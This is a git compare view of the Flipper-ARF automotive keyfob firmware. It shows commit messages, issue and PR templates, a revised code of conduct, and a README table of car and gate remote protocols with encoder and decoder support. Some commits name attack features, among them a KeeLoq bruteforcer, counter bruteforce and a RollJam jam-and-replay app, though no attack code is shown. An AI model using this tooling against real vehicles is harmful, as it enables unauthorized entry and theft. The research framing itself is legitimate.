Compare commits

...

69 Commits

Author SHA1 Message Date
grugnoymeme
f347d5a976 better display of datas after decrypt for PSA
All checks were successful
Build Dev Firmware / build (push) Successful in 6m54s
2026-03-17 21:08:18 +01:00
grugnoymeme
3a6da87288 hide Emulate choice in subghz saved menu for psa encrypted sub files bc useless, and moved PSA decrypt first
All checks were successful
Build Dev Firmware / build (push) Successful in 6m41s
2026-03-17 20:17:21 +01:00
grugnoymeme
5d94639d81 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-17 20:12:54 +01:00
grugnoymeme
5dcfc48e10 restored holtekS protocols bc super commons, fixed fiat spa, scheduled tea iterations for faster bf1 in psa, fixed progress bar's issue on 1 percent in psa decrypt, fmt protocol items 2026-03-17 20:07:07 +01:00
Andrea Santaniello
20a95b2fec Apprently using the bt thread to save the keys causes a crash due to the low memory
All checks were successful
Build Dev Firmware / build (push) Successful in 6m40s
2026-03-17 17:24:03 +01:00
Andrea Santaniello
3605669cc5 Fixing crash on finding first good candidate
All checks were successful
Build Dev Firmware / build (push) Successful in 6m38s
2026-03-17 15:28:16 +01:00
Andrea Santaniello
fb1c28a0dd Update subghz_scene_kl_bf_cleanup.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m42s
2026-03-17 14:23:56 +01:00
Andrea Santaniello
64a971e806 Keeloq Bruteforcer updates
Some checks failed
Build Dev Firmware / build (push) Failing after 2m37s
2026-03-17 14:01:27 +01:00
d4rks1d33
12db96a8ab Fix counter brute force, open window to 500ms per transmission making more stable
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-16 21:41:33 -03:00
d4rks1d33
4b50b8b70c Fix warning UI
All checks were successful
Build Dev Firmware / build (push) Successful in 6m35s
2026-03-16 20:09:04 -03:00
d4rks1d33
0f24f8c105 Added warning on counter bruteforce 2026-03-16 19:45:54 -03:00
Andrea Santaniello
238f39d0d8 Fixes 2026-03-16 23:39:22 +01:00
Andrea Santaniello
4c3581735b Better handling of the keeloq bf
All checks were successful
Build Dev Firmware / build (push) Successful in 6m23s
2026-03-16 22:31:16 +01:00
Andrea Santaniello
689df5262d Compiler bitch fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-16 17:57:09 +01:00
Andrea Santaniello
86c740d923 Preliminary stuff for phone accellerate Keeloq bruteforce
Some checks failed
Build Dev Firmware / build (push) Failing after 2m35s
2026-03-16 16:55:25 +01:00
Andrea Santaniello
0aef017c15 New assets by GONZOsint (https://github.com/GONZOsint)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-16 13:57:23 +01:00
grugnoymeme
cea3bc3b6a fmt fiat marelli displayed datas and removed duplicates variant declaration in feed
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-16 05:58:05 +01:00
d4rks1d33
f3d08573a1 small fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:31:15 -03:00
Andrea
9e52a6eb6b Update Fiat Marelli entry in README.md
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:10:58 +01:00
Andrea Santaniello
faf669b457 Encoder for marelli/delphi
All checks were successful
Build Dev Firmware / build (push) Successful in 6m39s
2026-03-15 17:03:44 +01:00
Andrea Santaniello
e445b28d73 Update fiat_marelli.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-15 16:36:48 +01:00
Andrea Santaniello
19e2eaa554 Update fiat_marelli.c 2026-03-15 16:08:28 +01:00
Andrea Santaniello
2571ad7f22 Update fiat_marelli.c 2026-03-15 15:10:42 +01:00
Andrea Santaniello
22a0870559 Native chip AES (thanks to carphreak for suggesting it, saves some space) 2026-03-15 15:06:04 +01:00
d4rks1d33
1c9d1f404a Option to select Flux Capitor or Normal CC1101 on RollJam 2026-03-15 01:35:20 -03:00
d4rks1d33
fabb1ccc2d Official Flipper App now work with bluetooth 2026-03-15 00:42:43 -03:00
d4rks1d33
6a432a93ad Fix my bad sorry 2026-03-15 00:34:46 -03:00
d4rks1d33
d2cca91ec8 Small fix 2026-03-15 00:27:48 -03:00
d4rks1d33
6e483393e1 Update workflow 2026-03-15 00:20:10 -03:00
David
4dc688c25b Change encryption settings and add encrypted data
Updated encryption settings and added initialization vector and encrypted data.
2026-03-14 18:34:24 +01:00
David
585ce97358 Update to-do list in README.md for clarity 2026-03-14 17:09:29 +01:00
Andrea Santaniello
592bf5f1ae Update rolljam_receiver.c 2026-03-14 14:22:57 +01:00
Andrea Santaniello
a02aabbbda Rolljam select offsets/RL Flux Capacitor support 2026-03-14 14:14:08 +01:00
d4rks1d33
3365fc4fed Add RollJam app 2026-03-13 23:54:26 -03:00
Andrea Santaniello
a37ba6b815 Updated targets 2026-03-13 19:43:34 +01:00
Andrea Santaniello
ab1231667c Eradicated JS interpreter & related stuff 2026-03-13 19:07:14 +01:00
Andrea Santaniello
fd7d8c1ea8 Added CRC support to the protocol table 2026-03-13 17:18:39 +01:00
Andrea Santaniello
730bb318fb 47lecoste's advanced modulation hopper merge 2026-03-13 14:50:24 +01:00
Andrea
ce085b6895 Revise automotive RKE security references and add new entries, fixed a DOI 2026-03-12 21:26:45 +01:00
D4rk$1d3
f4c753b673 Update README.md 2026-03-12 15:10:57 -03:00
Andrea
41191df7fd Remove Implemented Protocols section from README (redundant)
Removed the Implemented Protocols section from the README.
2026-03-12 15:33:00 +01:00
Andrea Santaniello
d5eb983caa Modulation hopping settings for time and rssi 2026-03-12 15:18:54 +01:00
Andrea Santaniello
853c609977 Marelli BSI buttons 2026-03-12 15:00:34 +01:00
Andrea Santaniello
a900aef3e9 Protocol renames 2026-03-12 14:36:52 +01:00
Andrea Santaniello
ed52f88a6c Removed test princeofarabia 2026-03-12 14:21:15 +01:00
Andrea Santaniello
71ce73476b SubBrute Icon Fix 2026-03-12 14:20:15 +01:00
Andrea Santaniello
4f247a9e90 Topbar is now also hided when lockmode is on. 2026-03-12 14:02:00 +01:00
Andrea Santaniello
9f89d933da forgot to add api symbol 2026-03-12 13:46:22 +01:00
Andrea Santaniello
43b86fc17b Hide statusbar during update slideshow, updated asset. 2026-03-12 13:26:15 +01:00
DACI
03897a406e Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-12 10:19:55 +01:00
DACI
09a7668fe7 Refactor Subaru & Suzuki protocols and registry
Update subghz protocol registry and perform a large refactor of Subaru and Suzuki implementations. Rename protocol symbols to subghz_protocol_suzuki / subghz_protocol_subaru and expose SUBGHZ_PROTOCOL_SUBARU_NAME; unify includes and use block helpers (const, decoder, encoder, generic, math, custom_btn_i). Subaru: rewrite decoder/encoder types and logic, add count encode/decode, button mapping and names, adjust timing/deltas, add encoder upload builder, improve (de)serialization, use furi_assert, support additional flags (315/433 AM/FM) and custom button handling. Suzuki: clean up decoder/encoder structs, add CRC calculation/verification, button <-> custom mappings, tighten preamble/gap thresholds and parser logic, update protocol flags and naming. Misc: memory and API consistency fixes, improved formatting and small performance/clarity tweaks across headers and source.
2026-03-12 10:19:45 +01:00
D4rk$1d3
76fbf79bff Update README.md 2026-03-11 23:58:40 -03:00
Andrea
bafe135a56 Update language on criminal activity in CODE_OF_CONDUCT
Clarified stance on criminal activity in the code of conduct.
2026-03-12 00:00:28 +01:00
Andrea Santaniello
77b58feb92 publications, table of content, code of conduct 2026-03-11 23:11:12 +01:00
DACI
57dafbc76d protocol updates 2026-03-11 21:32:25 +01:00
Andrea
e116abaa9b Revise keyfob emulation details and update To Do list
Updated the README to reflect changes in keyfob emulation and Keeloq Key Manager status.
2026-03-11 21:20:18 +01:00
Andrea Santaniello
fd9564e301 Citations [wip] 2026-03-11 20:47:31 +01:00
Andrea Santaniello
de133ebe09 Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-11 19:39:04 +01:00
Andrea Santaniello
fc03342591 Issue templates 2026-03-11 19:30:14 +01:00
David
bfdf60944f Remove unused fields from Kia V5 protocol 2026-03-11 18:48:03 +01:00
David
0290f601a0 Remove NULL function pointers from Kia V3/V4 protocol
Removed unused function pointers from the Kia V3/V4 protocol structure.
2026-03-11 18:47:07 +01:00
David
2e5648f3f4 Refactor Kia V5 protocol functions and includes 2026-03-11 17:59:35 +01:00
David
cffd268950 Update 2026-03-11 17:59:14 +01:00
David
ddb85d034f Refactor Kia V3/V4 protocol functions and types 2026-03-11 17:58:44 +01:00
David
55f770328c Update 2026-03-11 17:58:20 +01:00
Andrea Santaniello
75a5334a9b Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-11 17:39:27 +01:00
Andrea Santaniello
696041410b Fixes 2026-03-11 17:38:35 +01:00
Andrea
72d3992092 Update Fiat Mystery to Fiat Marelli in README 2026-03-11 15:01:14 +01:00
Andrea Santaniello
c1d145c9cc Updated fiat mistery (magneti marelli BSI) 2026-03-11 14:48:19 +01:00
1699 changed files with 8400 additions and 135790 deletions

View File

@@ -1,45 +1,77 @@
name: Bug report
description: File a bug reports regarding the firmware.
name: Bug Report
description: Report a bug in Flipper-ARF firmware.
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero unleashed firmware.
Thanks for reporting a bug in Flipper-ARF. Please fill in as much detail as possible.
- type: input
id: firmware-version
attributes:
label: Firmware version
description: "ARF version or git commit hash."
placeholder: "e.g. ARF 0.1.2 or commit abc1234"
validations:
required: true
- type: dropdown
id: hardware
attributes:
label: Hardware setup
description: "Which hardware configuration are you using?"
options:
- Flipper Zero (stock)
- Flipper Zero (modded antenna)
- Flipper Zero + external CC1101
- Other (describe below)
validations:
required: true
- type: input
id: protocol
attributes:
label: Protocol affected
description: "Which protocol is affected, if applicable?"
placeholder: "e.g. Kia V3/V4, PSA GROUP, Keeloq, Fiat Mystery"
- type: input
id: frequency
attributes:
label: Frequency & modulation
description: "RF frequency and modulation used, if relevant."
placeholder: "e.g. 433.92 MHz AM"
- type: textarea
id: description
attributes:
label: Describe the bug.
description: "A clear and concise description of what the bug is."
label: Bug description
description: "A clear and concise description of the bug."
validations:
required: true
- type: textarea
id: repro
attributes:
label: Reproduction
label: Steps to reproduce
description: "How can this bug be reproduced?"
placeholder: |
1. Switch on...
2. Press button '....'
3. Wait for the moon phase
4. It burns
1. Open SubGhz app
2. Load saved .sub file
3. Press Send
4. Observe error / unexpected behavior
validations:
required: true
- type: input
id: target
- type: textarea
id: expected
attributes:
label: Target
description: Specify the target
# Target seems to be largely ignored by outside sources.
label: Expected vs actual behavior
description: "What did you expect to happen, and what actually happened?"
validations:
required: true
- type: textarea
id: logs
attributes:
label: Logs
description: Attach your debug logs here
label: Logs / screenshots
description: "Attach debug logs (via serial CLI) or screenshots if available."
render: Text
# Avoid rendering as Markdown here.
- type: textarea
id: anything-else
attributes:
label: Anything else?
description: Let us know if you have anything else to share.
label: Additional context
description: "Any other information that might help (vehicle model, .sub file contents, etc.)."

View File

@@ -1,20 +0,0 @@
name: Enhancements
description: Suggest improvements for any existing functionality within the firmware.
body:
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality.
- type: textarea
id: proposal
attributes:
label: "Describe the enhancement you're suggesting."
description: |
Feel free to describe in as much detail as you wish.
validations:
required: true
- type: textarea
id: anything-else
attributes:
label: Anything else?
description: Let us know if you have anything else to share.

View File

@@ -1,23 +1,46 @@
name: Feature Request
description: For feature requests regarding the firmware.
description: Suggest a new feature or improvement for Flipper-ARF.
labels: ["feature request"]
body:
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions.
- type: textarea
id: proposal
Thanks for suggesting a feature for Flipper-ARF. Please describe your idea in detail.
- type: dropdown
id: category
attributes:
label: "Description of the feature you're suggesting."
description: |
Please describe your feature request in as many details as possible.
- Describe what it should do.
- Note whetever it is to extend existing functionality or introduce new functionality.
label: Category
description: "What area does this feature fall under?"
options:
- New protocol
- Protocol improvement
- UI / UX
- Build system / tooling
- Other
validations:
required: true
- type: input
id: manufacturer
attributes:
label: Manufacturer / protocol
description: "Which manufacturer or protocol is this related to, if applicable?"
placeholder: "e.g. Toyota, Renault, Keeloq"
- type: textarea
id: description
attributes:
label: Description
description: "Describe the feature you're suggesting."
validations:
required: true
- type: textarea
id: use-case
attributes:
label: Use case
description: "Why is this needed? What problem does it solve?"
validations:
required: true
- type: textarea
id: anything-else
attributes:
label: Anything else?
description: Let us know if you have anything else to share.
label: Additional context
description: "Any references, datasheets, links, or examples that support this request."

View File

@@ -0,0 +1,111 @@
name: Protocol / Algorithm Submission
description: Submit a new protocol decoder, encoder, or cipher implementation.
labels: ["protocol", "contribution"]
body:
- type: markdown
attributes:
value: |
Use this template to submit a new protocol implementation or algorithm for inclusion in Flipper-ARF.
Include as much technical detail as possible — timing, frame structure, cipher type, and test captures.
- type: input
id: protocol-name
attributes:
label: Protocol name
description: "Name for the protocol (as it should appear in the firmware)."
placeholder: "e.g. Renault V2, Opel Corsa, Nissan V0"
validations:
required: true
- type: input
id: manufacturer
attributes:
label: Manufacturer / vehicle
description: "Which manufacturer or vehicles use this protocol?"
placeholder: "e.g. Renault Clio 2010-2018, Opel/Vauxhall Corsa D"
validations:
required: true
- type: input
id: frequency
attributes:
label: Frequency & modulation
description: "RF frequency and modulation type."
placeholder: "e.g. 433.92 MHz FM (FSK)"
validations:
required: true
- type: dropdown
id: encoding
attributes:
label: Encoding
description: "How are bits encoded in the RF signal?"
options:
- PWM (Pulse Width Modulation)
- Manchester
- Differential Manchester
- OOK raw
- Other (describe in frame structure)
validations:
required: true
- type: textarea
id: timing
attributes:
label: Timing parameters
description: "Provide timing values for the protocol."
placeholder: |
te_short: 400 us
te_long: 800 us
te_delta: 150 us
Preamble: 16 pairs of alternating short pulses
Sync: 1200 us HIGH
Gap: 10000 us between bursts
validations:
required: true
- type: textarea
id: frame-structure
attributes:
label: Frame structure
description: "Describe the bit layout — field positions, sizes, fixed vs rolling parts."
placeholder: |
Total bits: 68
Bits 0-31: Encrypted (KeeLoq)
Bits 32-59: Serial (28 bits)
Bits 60-63: Button code (4 bits)
Bits 64-67: CRC (4 bits, XOR of nibbles)
validations:
required: true
- type: dropdown
id: cipher
attributes:
label: Cipher / rolling code type
description: "What cipher or rolling code scheme does this protocol use?"
options:
- None (static code)
- KeeLoq
- AES
- TEA / XTEA
- Hitag2
- Custom / proprietary
- Unknown (needs analysis)
validations:
required: true
- type: dropdown
id: status
attributes:
label: Implementation status
description: "How far along is the implementation?"
options:
- Concept only (analysis / documentation)
- Decoder working
- Encoder working
- Both decoder and encoder working
validations:
required: true
- type: textarea
id: captures
attributes:
label: Test captures
description: "Paste .sub file contents or raw pulse data for validation. Attach files if too large."
render: Text
- type: textarea
id: references
attributes:
label: References
description: "Links to datasheets, research papers, FCC filings, or related projects."

View File

@@ -0,0 +1,99 @@
name: Key Recording Submission
description: Contribute captured keyfob recordings for protocol analysis.
labels: ["recording", "data"]
body:
- type: markdown
attributes:
value: |
Use this template to submit captured keyfob recordings (.sub files or raw data).
These recordings help with protocol reverse engineering, decoder validation, and cipher analysis.
**Tips for useful captures:**
- Record 10+ sequential presses per button without long gaps
- Note the exact button pressed for each capture
- If possible, capture from multiple buttons on the same fob
- Include the vehicle make, model, and year
- type: input
id: vehicle
attributes:
label: Vehicle / device
description: "Make, model, year, and any relevant trim info."
placeholder: "e.g. 2015 Fiat Panda 1.2 Pop"
validations:
required: true
- type: dropdown
id: protocol
attributes:
label: Protocol (if known)
description: "Which protocol was detected, or select Unknown if not yet identified."
options:
- Unknown / new protocol
- VAG GROUP
- Cayenne
- PSA GROUP
- Ford V0
- Fiat SpA
- Fiat Mystery
- Subaru
- Siemens (Mazda)
- Kia V0
- Kia V1
- Kia V2
- Kia V3/V4
- Kia V5
- Kia V6
- Suzuki
- Mitsubishi V0
- Keeloq
- Other (specify below)
validations:
required: true
- type: input
id: frequency
attributes:
label: Frequency & modulation used
description: "The frequency and modulation setting used during capture."
placeholder: "e.g. 433.92 MHz AM650"
validations:
required: true
- type: input
id: buttons
attributes:
label: Button / function
description: "Which buttons were recorded and what they do."
placeholder: "e.g. Lock (Btn A), Unlock (Btn B), Trunk (Btn C)"
validations:
required: true
- type: input
id: num-captures
attributes:
label: Number of captures
description: "How many presses were recorded per button?"
placeholder: "e.g. 10 sequential presses per button"
validations:
required: true
- type: dropdown
id: capture-method
attributes:
label: Capture method
description: "How were the signals captured?"
options:
- SubGhz Read RAW
- SubGhz decoded (saved .sub)
- External SDR (HackRF, RTL-SDR, etc.)
- Other
validations:
required: true
- type: textarea
id: capture-data
attributes:
label: Capture data
description: "Paste .sub file contents here, or attach files. For multiple files, use separate code blocks labeled by button."
render: Text
validations:
required: true
- type: textarea
id: notes
attributes:
label: Notes
description: "Any observations — counter gaps, time between captures, battery changes, multiple fobs, etc."

View File

@@ -1,8 +1 @@
blank_issues_enabled: true
contact_links:
- name: Telegram
url: https://t.me/flipperzero_unofficial
about: Unofficial Telegram chat
- name: Discord
url: https://discord.unleashedflip.com
about: Unofficial Discord Community

View File

@@ -1,13 +1,25 @@
# What's new
## Summary
- [ Describe changes here ]
<!-- What changed and why? Keep it concise. -->
# Verification
## Protocol(s) affected
- [ Describe how to verify changes ]
<!-- Which protocol(s) does this PR touch? e.g. Kia V3/V4, PSA GROUP, none -->
# Checklist (For Reviewer)
## Type of change
- [ ] PR has description of feature/bug
- [ ] Description contains actions to verify feature/bugfix
- [ ] I've built this code, uploaded it to the device and verified feature/bugfix
- [ ] Bug fix
- [ ] New protocol
- [ ] Protocol improvement (encoder/decoder/display)
- [ ] Build system / infrastructure
- [ ] Other
## Testing
<!-- How was this verified? Include hardware used, captures tested, etc. -->
## Checklist
- [ ] Built with `./fbt COMPACT=1 DEBUG=0 updater_package` (no errors)
- [ ] Flashed and tested on Flipper Zero
- [ ] No regressions in other protocols

View File

@@ -17,6 +17,7 @@ jobs:
- name: Build firmware
run: |
export DIST_SUFFIX=Flipper-ARF
chmod +x fbt
./fbt COMPACT=1 DEBUG=0 updater_package
@@ -28,7 +29,7 @@ jobs:
id: firmware
run: |
DIR=$(ls -d dist/f7-* | head -n 1)
FILE="$DIR/flipper-z-f7-update-local.tgz"
FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
if [ ! -f "$FILE" ]; then
echo "Firmware file not found!"

View File

@@ -1,128 +1,94 @@
# Contributor Covenant Code of Conduct
# Flipper-ARF Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.
We as members, contributors, and maintainers of Flipper-ARF pledge to make participation in this project a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
We pledge to act and interact in ways that contribute to an open, welcoming, and responsible research community.
## Our Standards
## Ethical Research Standards
Examples of behavior that contributes to a positive environment for our
community include:
Flipper-ARF is an automotive security research project. All contributions, discussions, and use of this project must adhere to the following ethical standards:
* Demonstrating empathy and kindness toward other people
1. **Lawful purpose only.** All work must be for lawful, educational, or explicitly authorized security research purposes. Contributors must comply with all applicable local, national, and international laws.
2. **No unauthorized access.** Do not use this firmware or any knowledge gained from it to access vehicles, devices, or systems without explicit authorization from the owner.
3. **Responsible disclosure.** If your research reveals a vulnerability in a manufacturer's system, follow responsible disclosure practices — notify the manufacturer and allow reasonable time for remediation before any public disclosure.
4. **Key material handling.** Do not share manufacturer-specific cryptographic keys, seeds, or proprietary algorithms outside the scope of this project's research goals. Key material included in the project is for protocol interoperability research only.
5. **Authorized captures only.** Signal captures and key recordings submitted to the project should come from researcher-owned vehicles or devices, or be obtained with explicit written permission from the owner.
6. **No enabling of criminal activity.** We do not condone/support/endorse vehicle theft, unauthorized entry, tracking, surveillance, or any other criminal activity.
7. **Radio frequency compliance.** Comply with radio frequency regulations in your jurisdiction. Transmission testing should be conducted in controlled environments or within legally permitted parameters.
## Community Standards
Examples of behavior that contributes to a positive environment:
* Sharing well-documented protocol analysis and research findings
* Providing detailed capture data with proper context (vehicle, method, conditions)
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
* Accepting responsibility and apologizing to those affected by our mistakes
Examples of unacceptable behavior include:
Examples of unacceptable behavior:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Sharing techniques specifically intended to facilitate vehicle theft or unauthorized access
* The use of sexualized language or imagery, and sexual attention or advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
* Publishing others' private information without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional or research setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Project maintainers are responsible for clarifying and enforcing these standards and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, harmful, or in violation of the ethical research standards above.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
Maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
This Code of Conduct applies within all project spaces, including the repository, issue tracker, pull requests, and any associated communication channels. It also applies when an individual is representing the project in public spaces.
## Enforcement
## Reporting
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
hello@flipperdevices.com.
All complaints will be reviewed and investigated promptly and fairly.
Instances of abusive, harassing, unethical, or otherwise unacceptable behavior may be reported by opening a confidential issue on the project's GitHub repository or by contacting the maintainers directly through GitHub.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
All complaints will be reviewed and investigated promptly and fairly. All maintainers are obligated to respect the privacy and security of the reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
Maintainers will follow these guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
**Consequence**: A private, written warning providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Impact**: A violation through a single incident or series of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. Violating these terms may lead to a temporary or permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Impact**: A serious violation of community or ethical research standards, including sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
**Consequence**: A temporary ban from any sort of interaction or public communication with the project for a specified period of time. Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Impact**: Demonstrating a pattern of violation of community or ethical standards, including sustained inappropriate behavior, harassment, or using the project to enable criminal activity.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
**Consequence**: A permanent ban from any sort of public interaction within the project.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org), version 2.0, with additional ethical research guidelines specific to the Flipper-ARF project.
Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.
Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).

271
README.md
View File

@@ -10,6 +10,21 @@ This project may incorporate, adapt, or build upon **other open-source projects*
---
## Table of Contents
- [Showcase](#showcase)
- [Supported Systems](#supported-systems)
- [How to Build](#how-to-build)
- [Project Scope](#project-scope)
- [To Do / Planned Features](#to-do--planned-features)
- [Design Philosophy](#design-philosophy)
- [Research Direction](#research-direction)
- [Contribution Policy](#contribution-policy)
- [Citations & References](#citations--references)
- [Disclaimer](#disclaimer)
---
## Showcase
| | |
@@ -27,67 +42,67 @@ This project may incorporate, adapt, or build upon **other open-source projects*
### Automotive Protocols
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes |
| Fiat | Fiat Mystery | 433 MHz | AM | No | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes |
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---|:---:|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli/Delphi | 433 MHz | AM | No | Yes | No |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
### Gate / Access Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Keeloq | 433/868/315 MHz | AM | Yes | Yes |
| Nice FLO | 433 MHz | AM | Yes | Yes |
| Nice FloR-S | 433 MHz | AM | Yes | Yes |
| CAME | 433/315 MHz | AM | Yes | Yes |
| CAME TWEE | 433 MHz | AM | Yes | Yes |
| CAME Atomo | 433 MHz | AM | Yes | Yes |
| Faac SLH | 433/868 MHz | AM | Yes | Yes |
| Somfy Telis | 433 MHz | AM | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes |
| Beninca ARC | 433 MHz | AM | Yes | Yes |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes |
| Marantec | 433 MHz | AM | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes |
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
| Keeloq | 433/868/315 MHz | AM | Yes | Yes | No |
